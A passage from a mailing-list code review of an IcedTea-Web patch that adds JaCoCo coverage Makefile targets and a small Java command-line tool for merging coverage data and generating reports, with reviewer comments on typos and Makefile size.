plugin_backup=$(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY)_backup ; \ >> + mv $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) $$plugin_backup ; \ >> + echo "fakeing plugin" ; \ >> + cp $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ >> + testcases_srcs=( ) ; \ >> + k=0 ; \ >> + types=($(ALL_REPRODUCERS)); \ >> + for which in "$${types[@]}" ; do \ >> + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ >> + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ >> + IFS="$$IFS_BACKUP" ; \ >> + for dir in "$${simpleReproducers[@]}" ; do \ >> + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ >> + k=$$((k+1)) ; \ >> + done ; \ >> + done ; \ >> + cd $(TEST_EXTENSIONS_DIR) ; \ >> + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ >> + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):.:$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):$(TEST_EXTENSIONS_TESTS_DIR) \ >> + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) $(REPRODUCERS_DPARAMETERS) \ >> + -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ >> + if [ -f $(JACOCO_JAVAWS_RESULTS) ] ; then \ >> + jacoco_javaws_results=$(JACOCO_JAVAWS_RESULTS) ; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + report --die-soon --html-output coverage-javaws --xml-output coverage-javaws.xml --input-file $(JACOCO_JAVAWS_RESULTS) \ >> + --input-srcs $(NETX_SRCDIR) \ >> + --input-builds $(NETX_DIR)/lib/classes.jar \ >> + --title "IcedTea-Web javaws reproducers codecoverage" ; \ >> + fi; \ >> + if [ -f $(JACOCO_PLUGIN_RESULTS) ] ; then \ >> + jacoco_plugin_results=$(JACOCO_PLUGIN_RESULTS) ; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + report --die-soon --html-output coverage-plugin --xml-output coverage-plugin.xml --input-file $(JACOCO_PLUGIN_RESULTS) \ >> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java \ >> + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar \ >> + --title "IcedTea-Web plugin reproducers codecoverage" ; \ >> + fi; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + merge --die-soon --input-files jacoco.exec $$jacoco_javaws_results $$jacoco_plugin_results --output-file jacoco-merged-reproducers.exec ; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged-reproducers.exec \ >> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ >> + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ >> + --title "IcedTea-Web reproducers-tests codecoverage" ; \ >> + echo "restoring javaws in $(DESTDIR)$(bindir)" ; \ >> + rm -f $(DESTDIR)$(bindir)/$(javaws); \ >> + mv $$javaws_backup $(DESTDIR)$(bindir)/$(javaws); \ >> + echo "restoring plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ >> + mv $$plugin_backup $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ >> + for file in $(EMMA_MODIFIED_FILES) ; do \ >> + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ >> + mv $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(TEST_EXTENSIONS_DIR)/$$file ; \ >> + done ; >> +else >> + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; >> + exit 5 >> +endif >> + touch $@ > > My eyes ... could this be its own bash script ? Maybe then I could actually read it ... no :) > >> + >> +run-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp stamps/run-reproducers-test-code-coverage-jacoco.stamp >> +if WITH_JACOCO >> + cd $(TESTS_DIR) ; \ >> + k=0 ; \ >> + types=($(ALL_REPRODUCERS)); \ >> + for which in "$${types[@]}" ; do \ >> + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ >> + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ >> + IFS="$$IFS_BACKUP" ; \ >> + for dir in "$${simpleReproducers[@]}" ; do \ >> + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ >> + k=$$((k+1)) ; \ >> + done ; \ >> + done ; \ >> + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + merge --die-soon --input-files $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec $(NETX_UNIT_TEST_DIR)/jacoco.exec --output-file jacoco-merged.exec; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged.exec \ >> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ >> + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ >> + --input-srcs $(NETX_UNIT_TEST_SRCDIR) \ >> + --input-builds $(NETX_UNIT_TEST_DIR) \ >> + --title "IcedTea-Web complete codecoverage" ; >> +else >> + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; >> + exit 5 >> +endif >> + >> +run-test-code-coverage: stamps/run-unit-test-code-coverage.stamps stamps/run-reproducers-test-code-coverage.stamps >> if WITH_EMMA >> cd $(TESTS_DIR) ; \ >> k=0 ; \ >> @@ -1175,7 +1392,7 @@ >> exit 5 >> endif >> >> -clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage >> +clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage-jacoco clean-test-code-coverage >> if [ -e $(TESTS_DIR)/netx ]; then \ >> rmdir $(TESTS_DIR)/netx ; \ >> fi >> @@ -1258,6 +1475,44 @@ >> rm -f $(TESTS_DIR)/coverage.em ; \ >> fi >> >> +clean-unit-test-code-coverage-jacoco: >> + if [ -e stamps/run-unit-test-code-coverage-jacoco.stamp ]; then \ >> + rm -rf $(NETX_UNIT_TEST_DIR)/coverage ; \ >> + rm -f $(NETX_UNIT_TEST_DIR)/coverage.xml ; \ >> + rm -f $(NETX_UNIT_TEST_DIR)/jacoco.exec ; \ >> + rm -f $(NETX_UNIT_TEST_DIR)/tests-output_withEmma.xml ; \ >> + rm -f stamps/run-unit-test-code-coverage-jacoco.stamp ; \ >> + fi >> + >> +clean-reproducers-test-code-coverage-jacoco: >> + if [ -e stamps/run-reproducers-test-code-coverage-jacoco.stamp ]; then \ >> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-javaws ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/coverage-javaws.xml ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec ; \ >> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-plugin ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/coverage-plugin.xml ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec ; \ >> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/coverage.xml ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec ; \ >> + rm -f $(TEST_EXTENSIONS_DIR)/tests-output_withEmma.xml ; \ >> + rm -f stamps/run-reproducers-test-code-coverage-jacoco.stamp ; \ >> + fi >> + >> +clean-test-code-coverage-jacoco: clean-unit-test-code-coverage-jacoco clean-reproducers-test-code-coverage-jacoco clean-test-code-coverage-tools-jacoco >> + if [ -e $(TESTS_DIR)/coverage.xml ]; then \ >> + rm -rf $(TESTS_DIR)/coverage ; \ >> + rm -f $(TESTS_DIR)/jacoco-merged.exec; \ >> + fi >> + >> +clean-test-code-coverage-tools-jacoco: >> + rm -rf $(JACOCO_OPERATOR_DIR) >> + rm -rf $(FAKE_PLUGIN_SRCDIR) >> + rm -rf $(FAKE_PLUGIN_DIR) >> + rm -f stamps/compile-jacoco-operator.stamp; >> + rm -f jacoco-operator-source-files.txt >> + rm -f stamps/build-fake-plugin.stamp >> + >> >> # plugin tests >> >> @@ -1377,3 +1632,7 @@ >> run-unit-test-code-coverage: stamps/run-unit-test-code-coverage.stamp >> >> run-reproducers-test-code-coverage: stamps/run-reproducers-test-code-coverage.stamp >> + >> +run-unit-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp >> + >> +run-reproducers-test-code-coverage-jacoco: stamps/run-reproducers-test-code-coverage-jacoco.stamp >> diff -r aff6fb36a9ab configure.ac >> --- a/configure.ac Mon Dec 03 18:08:38 2012 +0100 >> +++ b/configure.ac Wed Dec 05 16:40:30 2012 +0100 >> @@ -106,6 +106,10 @@ >> [/usr/share/java/junit4.jar /usr/share/junit-4/lib/junit.jar]) >> IT_FIND_OPTIONAL_JAR([emma], EMMA, >> [/usr/share/java/emma.jar]) >> +IT_FIND_OPTIONAL_JAR([jacoco], JACOCO, >> + [/usr/share/java/jacoco/org.jacoco.core.jar]) >> +IT_FIND_OPTIONAL_JAR([asm4], ASM4, >> + [/usr/share/java/objectweb-asm4/asm-all-4.0.jar]) >> >> AC_CONFIG_FILES([jrunscript], [chmod u+x jrunscript]) >> AC_CONFIG_FILES([build.properties]) >> >> > The makefile grows ... Is it standard practice to have Makefile's this big ? I think it would be > more maintainable and readable with some helper scripts for test-related parts. We can maybe put all the testing stuff to different makefile. See the makefiles of openjdk... It is not always an advantage :) I think this makefile is still ok. > >> diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/Main.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/jacoco-operator/org/jacoco/operator/Main.java Wed Dec 05 16:40:30 2012 +0100 >> @@ -0,0 +1,288 @@ >> +/* >> +Copyright (C) 2012 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +package org.jacoco.operator; >> + >> +import java.io.File; >> +import java.io.IOException; >> +import java.util.ArrayList; >> +import java.util.List; >> + >> +/** >> + * Commandline launcher >> + */ >> +public class Main { >> + >> + //main switches >> + private static final String MERGE = "merge"; >> + private static final String REPORT = "report"; >> + //switches >> + private static final String die_soon = "--die-soon"; >> + //merge >> + private static final String output_file = "--output-file"; >> + private static final String input_files = "--input-files"; >> + //report >> + private static final String html_output = "--html-output"; >> + private static final String xml_output = "--xml-output"; >> + private static final String input_srcs = "--input-srcs"; >> + private static final String input_builds = "--input-builds"; >> + private static final String title = "--title"; >> + private static String input_file = "--input-file"; >> + /** >> + * * >> + */ >> + private static boolean dieSoon = false; >> + private static boolean warned = false; >> + >> + public static void main(String[] args) throws IOException { >> + if (args.length < 2) { >> + printHelp(); >> + System.exit(0); >> + } >> + >> + Runnable r = null; >> + if (args[0].equalsIgnoreCase(MERGE)) { >> + r = proceedMerge(cutFirstParam(args)); >> + } else if (args[0].equalsIgnoreCase(REPORT)) { >> + r = proceedReport(cutFirstParam(args)); >> + } else { >> + System.err.println("Unsuported main switch `" + args[0] + "`, use " + MERGE + " or " + REPORT); >> + printHelp(); >> + System.exit(1); >> + } >> + if (dieSoon && warned) { >> + System.err.println(die_soon + " is specified and warning occured. Exiting"); >> + System.exit(2); >> + } >> + r.run(); >> + >> + } >> + >> + private static void printHelp() { >> + System.out.println("Usage: java `classapath` org.jacoco.operator.Main [" + MERGE + "|" + REPORT + "] swithes/files"); > > swithes -> switches > >> + System.out.println(" order of swithches does not metter"); > > swithches -> switches > >> + System.out.println(" Merge usage: java `classapath` org.jacoco.operator.Main " + MERGE + " " + output_file + " file " + input_files + " file file file ..."); > > classapath -> classpath > >> + System.out.println(" Report usage: java `classapath` org.jacoco.operator.Main " + REPORT + " " + html_output + " file " + xml_output + " file " + input_srcs + " file file file ... " + input_builds + " file file file " + title + " titleOfReport " + input_file + " file"); > > classapath -> classpath > >> + System.out.println("Where:"); >> + System.out.println(" classapth should contain this application, and complete jacoco, and sometimes asm3 (depends on jacoco bundle)"); > > classapth -> classpath > >> + System.out.println(" " + die_soon + " - can be set as firstr parameter (after main switch), each warning then will cause exit of application"); > > firstr -> first All typos should be fixed > Maybe 'die_soon' would be more understandable as 'fail_fast' (die_soon is confusing to me, it is not > readily clear that it has to do with failures). hmhmh I would probably rather prefere die soon. Fil fast looks to me like having nothing to do with dieing, and die_on_failure is to long :) But I have at least renamed the variable. > >> + System.out.println(" " + MERGE); >> + System.out.println(" " + output_file + " - is file where merged inputs will be saved"); >> + System.out.println(" " + input_files + " - is list of files which will be merged into output file"); >> + System.out.println(" " + REPORT); >> + System.out.println(" " + html_output + " - name of directory into which report will be generated. Should be empty or not -existing"); > > 'be empty or not yet exist' is a bit clearer > >> + System.out.println(" " + xml_output + " - is name of file into which xml report will be written"); >> + System.out.println(" " + input_srcs + " - jars, zips or directories with java sources which will be used during report generation"); >> + System.out.println(" " + input_builds + " - jars, zips or directories with compiled java classes, debug information must be present"); >> + System.out.println(" " + title + " - title of report"); >> + System.out.println(" " + input_file + " - input file with recorded coverage-run-session. By default jacoco saves into " + MergeTask.DEFAULT_NAME); >> + >> + } >> + >> + private static String[] cutFirstParam(String[] args) { >> + String[] arg = new String[args.length - 1]; >> + System.arraycopy(args, 1, arg, 0, arg.length); >> + return arg; >> + } >> + >> + private static Runnable proceedMerge(String[] a) throws IOException { >> + String doing = null; >> + String outputFile = null; >> + List inputFiles = new ArrayList(2); >> + for (String s : a) { >> + if (s.startsWith("--")) { >> + if (s.equalsIgnoreCase(die_soon)) { >> + doing = null; >> + dieSoon = true; >> + } else if (s.equalsIgnoreCase(output_file)) { >> + doing = output_file; >> + } else if (s.equalsIgnoreCase(input_files)) { >> + doing = input_files; >> + } else { >> + warnOrDie("Unknown Switch for merge " + s); >> + doing = null; >> + } >> + } else { >> + if (doing == null) { >> + warnOrDie("Missing switch during processing of " + s); >> + } else { >> + if (doing.equalsIgnoreCase(output_file)) { >> + outputFile = s; >> + } else if (doing.equalsIgnoreCase(input_files)) { >> + inputFiles.add(s); >> + } else { >> + warnOrDie("Unknown processing of switch of" + doing); >> + } >> + >> + } >> + } >> + } >> + throwIfNullOrEmpty(outputFile, "empty output file"); >> + File ff = new File(outputFile); >> + if (ff.exists()) { >> + warnOrDie("Warning, output file " + ff.getAbsolutePath() + " exists"); >> + } >> + MergeTask m = new MergeTask(ff); >> + for (String string : inputFiles) { >> + if (checkIfNotNullOrEmpty(string)) { >> + File f = new File(string); >> + if (!f.exists()) { >> + warnOrDie("Warning, input coverage " + f.getAbsolutePath() + " does not exists!"); >> + } >> + m.addInputFile(f); >> + } >> + } >> + return m; >> + >> + } >> + >> + private static Runnable proceedReport(String[] a) throws IOException { >> + String doing = null; >> + String htmlDir = null; >> + String xmlFile = null; >> + List inputSrcs = new ArrayList(1); >> + List inputBuilds = new ArrayList(1); >> + String titleValue = null; >> + String inputFile = null; >> + for (String s : a) { >> + if (s.startsWith("--")) { >> + if (s.equalsIgnoreCase(die_soon)) { >> + doing = null; >> + dieSoon = true; >> + } else if (s.equalsIgnoreCase(html_output)) { >> + doing = html_output; >> + } else if (s.equalsIgnoreCase(xml_output)) { >> + doing = xml_output; >> + } else if (s.equalsIgnoreCase(input_srcs)) { >> + doing = input_srcs; >> + } else if (s.equalsIgnoreCase(input_builds)) { >> + doing = input_builds; >> + } else if (s.equalsIgnoreCase(title)) { >> + doing = title; >> + } else if (s.equalsIgnoreCase(input_file)) { >> + doing = input_file; >> + } else { >> + warnOrDie("Unknown Switch for report " + s); >> + doing = null; >> + } >> + } else { >> + if (doing == null) { >> + warnOrDie("Missing switch during processing of " + s); >> + } else { >> + if (doing.equalsIgnoreCase(html_output)) { >> + htmlDir = s; >> + } else if (doing.equalsIgnoreCase(xml_output)) { >> + xmlFile = s; >> + } else if (doing.equalsIgnoreCase(input_srcs)) { >> + inputSrcs.add(s); >> + } else if (doing.equalsIgnoreCase(input_builds)) { >> + inputBuilds.add(s); >> + } else if (doing.equalsIgnoreCase(title)) { >> + titleValue = s; >> + } else if (doing.equalsIgnoreCase(input_file)) { >> + inputFile = s; >> + } else { >> + warnOrDie("Unknown processing of switch of " + doing); >> + } >> + >> + } >> + } >> + } >> + File finalHtmlFile = null; >> + if (checkIfNotNullOrEmpty(htmlDir)) { >> + finalHtmlFile = new File(htmlDir); >> + if (finalHtmlFile.exists()) { >> + warnOrDie("Warning, direcotry for html report exists! " + finalHtmlFile.getAbsolutePath()); >> + } >> + } >> + File finalXmlFile = null; >> + if (checkIfNotNullOrEmpty(xmlFile)) { >> + finalXmlFile = new File(xmlFile); >> + if (finalXmlFile.exists()) { >> + warnOrDie("Warning, file for xml report exists! " + finalHtmlFile.getAbsolutePath()); >> + } >> + } >> + if (chckIfNUllOrEmpty(titleValue)) { >> + titleValue = "Coverage report"; >> + } >> + throwIfNullOrEmpty(inputFile, "No coverage data file specified!"); >> + File finalInputFile = new File(inputFile); >> + >> + ReportGenerator rg = new ReportGenerator(titleValue, finalInputFile, finalHtmlFile, finalXmlFile); >> + >> + for (String string : inputSrcs) { >> + if (checkIfNotNullOrEmpty(string)) { >> + File f = new File(string); >> + if (!f.exists()) { >> + warnOrDie("Warning, input source " + f.getAbsolutePath() + " does not exists!"); >> + } >> + rg.addSource(f); >> + } >> + } >> + for (String string : inputBuilds) { >> + if (checkIfNotNullOrEmpty(string)) { >> + File f = new File(string); >> + if (!f.exists()) { >> + warnOrDie("Warning, input build " + f.getAbsolutePath() + " does not exists!"); >> + } >> + rg.addClasses(f); >> + } >> + } >> + return rg; >> + } >> + >> + private static String throwIfNullOrEmpty(String outputFile, String message) throws RuntimeException { >> + if (chckIfNUllOrEmpty(outputFile)) { >> + throw new RuntimeException(message); >> + } >> + return outputFile; >> + } >> + >> + private static boolean checkIfNotNullOrEmpty(String string) { >> + return string != null && string.trim().length() != 0; >> + } >> + >> + private static boolean chckIfNUllOrEmpty(String outputFile) { >> + return outputFile == null || outputFile.trim().length() == 0; >> + } >> + >> + private static void warnOrDie(String string) { >> + System.err.println(string); >> + warned = true; >> + >> + } >> +} > > Nice little tool overall jsut full of typos :-/ Thanx! I hope after this spell check it will b eupstreamed faster :D > >> diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/MergeTask.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/jacoco-operator/org/jacoco/operator/MergeTask.java Wed Dec 05 16:40:30 2012 +0100 >> @@ -0,0 +1,169 @@ >> +/* >> +Copyright (C) 2012 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> +package org.jacoco.operator; >> + >> +import java.io.BufferedOutputStream; >> +import java.io.File; >> +import java.io.FileInputStream; >> +import java.io.FileOutputStream; >> +import java.io.IOException; >> +import java.io.InputStream; >> +import java.io.OutputStream; >> +import java.util.ArrayList; >> +import java.util.Iterator; >> +import java.util.List; >> +import org.jacoco.core.data.ExecutionDataReader; >> +import org.jacoco.core.data.ExecutionDataStore; >> +import org.jacoco.core.data.ExecutionDataWriter; >> +import org.jacoco.core.data.SessionInfoStore; >> + >> +/** >> + * Task for merging a set of execution data store files into a single file >> + * >> + * Inspired by: >> + *https://raw.github.com/jacoco/jacoco/master/org.jacoco.ant/src/org/jacoco/ant/MergeTask.java >> + */ >> +public class MergeTask implements Runnable { >> + >> + public static final String DEFAULT_NAME = "jacoco.exec"; >> + private File destfile; >> + private final List files = new ArrayList(1); >> + >> + public MergeTask(File destfile) { >> + this.destfile = destfile; >> + } >> + >> + public MergeTask(File destfile, List inputs) { >> + this.destfile = destfile; >> + files.addAll(inputs); >> + } >> + >> + /** >> + * Sets the location of the merged data store >> + * >> + * @param destfile Destination data store location >> + */ >> + public void setDestfile(final File destfile) { >> + this.destfile = destfile; >> + } >> + >> + public void addInputFile(final File input) { >> + if (input != null) { >> + files.add(input); >> + } >> + } >> + >> + public void addInputFiles(final List input) { >> + files.addAll(input); >> + } >> + >> + public void execute() throws IOException { >> + if (destfile == null) { >> + throw new RuntimeException("Destination file must be supplied"); >> + } >> + >> + final SessionInfoStore infoStore = new SessionInfoStore(); >> + final ExecutionDataStore dataStore = new ExecutionDataStore(); >> + >> + loadSourceFiles(infoStore, dataStore); >> + >> + OutputStream outputStream = null; >> + try { >> + >> + outputStream = new BufferedOutputStream(new FileOutputStream( >> + destfile)); >> + final ExecutionDataWriter dataWriter = new ExecutionDataWriter( >> + outputStream); >> + infoStore.accept(dataWriter); >> + dataStore.accept(dataWriter); >> + } finally { >> + if (outputStream != null) { >> + outputStream.close(); >> + } >> + } >> + >> + } >> + >> + private void loadSourceFiles(final SessionInfoStore infoStore, final ExecutionDataStore dataStore) throws IOException { >> + if (files == null || files.isEmpty()) { >> + throw new RuntimeException("No input files"); >> + } >> + final Iterator resourceIterator = files.iterator(); >> + while (resourceIterator.hasNext()) { >> + final File resource = (File) resourceIterator.next(); >> + >> + if (resource.isDirectory()) { >> + continue; >> + } >> + InputStream resourceStream = null; >> + try { >> + resourceStream = new FileInputStream(resource); >> + final ExecutionDataReader reader = new ExecutionDataReader( >> + resourceStream); >> + reader.setSessionInfoVisitor(infoStore); >> + reader.setExecutionDataVisitor(dataStore); >> + reader.read(); >> + } finally { >> + if (resourceStream != null) { >> + resourceStream.close(); >> + } >> + } >> + } >> + } >> + >> + @Override >> + public void run() { >> + try { >> + execute(); >> + } catch (IOException ex) { >> + throw new RuntimeException(ex); >> + } >> + } >> + >> + public static void main(final String[] args) throws IOException { >> + String root = "/home/jvanek/Desktop/icedtea-web/tests.build/netx/unit/"; >> + String result = root+"/jacoco-merged.exec"; >> + String file =root + "/"+DEFAULT_NAME; >> + >> + >> + final MergeTask merger = new MergeTask(new File(result)); >> + merger.addInputFile(new File(file)); >> + merger.addInputFile(new File(file)); >> + merger.execute(); >> + >> + } >> +} >> diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java >> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >> +++ b/tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java Wed Dec 05 16:40:30 2012 +0100 >> @@ -0,0 +1,336 @@ >> +/* >> +Copyright (C) 2012 Red Hat, Inc. >> + >> +This file is part of IcedTea. >> + >> +IcedTea is free software; you can redistribute it and/or >> +modify it under the terms of the GNU General Public License as published by >> +the Free Software Foundation, version 2. >> + >> +IcedTea is distributed in the hope that it will be useful, >> +but WITHOUT ANY WARRANTY; without even the implied warranty of >> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >> +General Public License for more details. >> + >> +You should have received a copy of the GNU General Public License >> +along with IcedTea; see the file COPYING. If not, write to >> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA >> +02110-1301 USA. >> + >> +Linking this library statically or dynamically with other modules is >> +making a combined work based on this library. Thus, the terms and >> +conditions of the GNU General Public License cover the whole >> +combination. >> + >> +As a special exception, the copyright holders of this library give you >> +permission to link this library with independent modules to produce an >> +executable, regardless of the license terms of these independent >> +modules, and to copy and distribute the resulting executable under >> +terms of your choice, provided that you also meet, for each linked >> +independent module, the terms and conditions of the license of that >> +module. An independent module is a module which is not derived from >> +or based on this library. If you modify this library, you may extend >> +this exception to your version of the library, but you are not >> +obligated to do so. If you do not wish to do so, delete this >> +exception statement from your version. >> + */ >> + >> +package org.jacoco.operator; >> + >> +import java.io.File; >> +import java.io.FileInputStream; >> +import java.io.FileOutputStream; >> +import java.io.IOException; >> +import java.io.OutputStream; >> +import java.util.ArrayList; >> +import java.util.List; >> +import org.jacoco.core.analysis.Analyzer; >> +import org.jacoco.core.analysis.CoverageBuilder; >> +import org.jacoco.core.analysis.IBundleCoverage; >> +import org.jacoco.core.data.ExecutionDataReader; >> +import org.jacoco.core.data.ExecutionDataStore; >> +import org.jacoco.core.data.SessionInfoStore; >> +import org.jacoco.report.DirectorySourceFileLocator; >> +import org.jacoco.report.FileMultiReportOutput; >> +import org.jacoco.report.IReportVisitor; >> +import org.jacoco.report.MultiSourceFileLocator; >> +import org.jacoco.report.html.HTMLFormatter; >> +import org.jacoco.report.xml.XMLFormatter; >> + >> +/** >> + * This example creates a HTML report for eclipse like projects based on a >> + * single execution data store called jacoco.exec. The report contains no >> + * grouping information. >> + * >> + * The class files under test must be compiled with debug information, otherwise >> + * source highlighting will not work. >> + * >> + * Originally based on: >> + *http://www.eclemma.org/jacoco/trunk/doc/examples/java/ReportGenerator.java >> + */ >> +public class ReportGenerator implements Runnable { >> + >> + private final String title; >> + private final File executionDataFile; >> + private final List classesDirectories = new ArrayList(1); >> + private final List sourceDirectories = new ArrayList(1); >> + private File reportDirectory; >> + private File xmlOutput; >> + private ExecutionDataStore executionDataStore; >> + private SessionInfoStore sessionInfoStore; >> + private String XML_DEF_NAME = "coverage-summary.xml"; >> + >> + /** >> + * Create a new generator based for the given project. >> + * >> + * @param projectDirectory >> + */ >> + public ReportGenerator(final File projectDirectory) { >> + this.title = projectDirectory.getName(); >> + this.executionDataFile = new File(projectDirectory, MergeTask.DEFAULT_NAME); >> + this.classesDirectories.add(new File(projectDirectory, "bin")); >> + this.sourceDirectories.add(new File(projectDirectory, "src")); >> + this.reportDirectory = new File(projectDirectory, "coveragereport"); >> + this.xmlOutput = new File(projectDirectory, XML_DEF_NAME); >> + } >> + >> + public ReportGenerator(String title, File exec, File classes, File sources, File htmlReport, File xmlReport) { >> + this.title = title; >> + this.executionDataFile = exec; >> + if (classes != null) { >> + this.classesDirectories.add(classes); >> + } >> + if (sources != null) { >> + this.sourceDirectories.add(sources); >> + } >> + this.reportDirectory = htmlReport; >> + >> + this.xmlOutput = xmlReport; >> + } >> + >> + public ReportGenerator(String title, File exec, List classes, List sources, File htmlReport, File xmlReport) { >> + this.title = title; >> + this.executionDataFile = exec; >> + if (classes != null) { >> + this.classesDirectories.addAll(classes); >> + } >> + if (sources != null) { >> + this.sourceDirectories.addAll(sources); >> + } >> + this.reportDirectory = htmlReport; >> + this.xmlOutput = xmlReport; >> + } >> + >> + public ReportGenerator(String title, File exec, List classes, List sources, File report) { >> + this.title = title; >> + this.executionDataFile = exec; >> + if (classes != null) { >> + this.classesDirectories.addAll(classes); >> + } >> + if (sources != null) { >> + this.sourceDirectories.addAll(sources); >> + } >> + this.reportDirectory = report; >> + 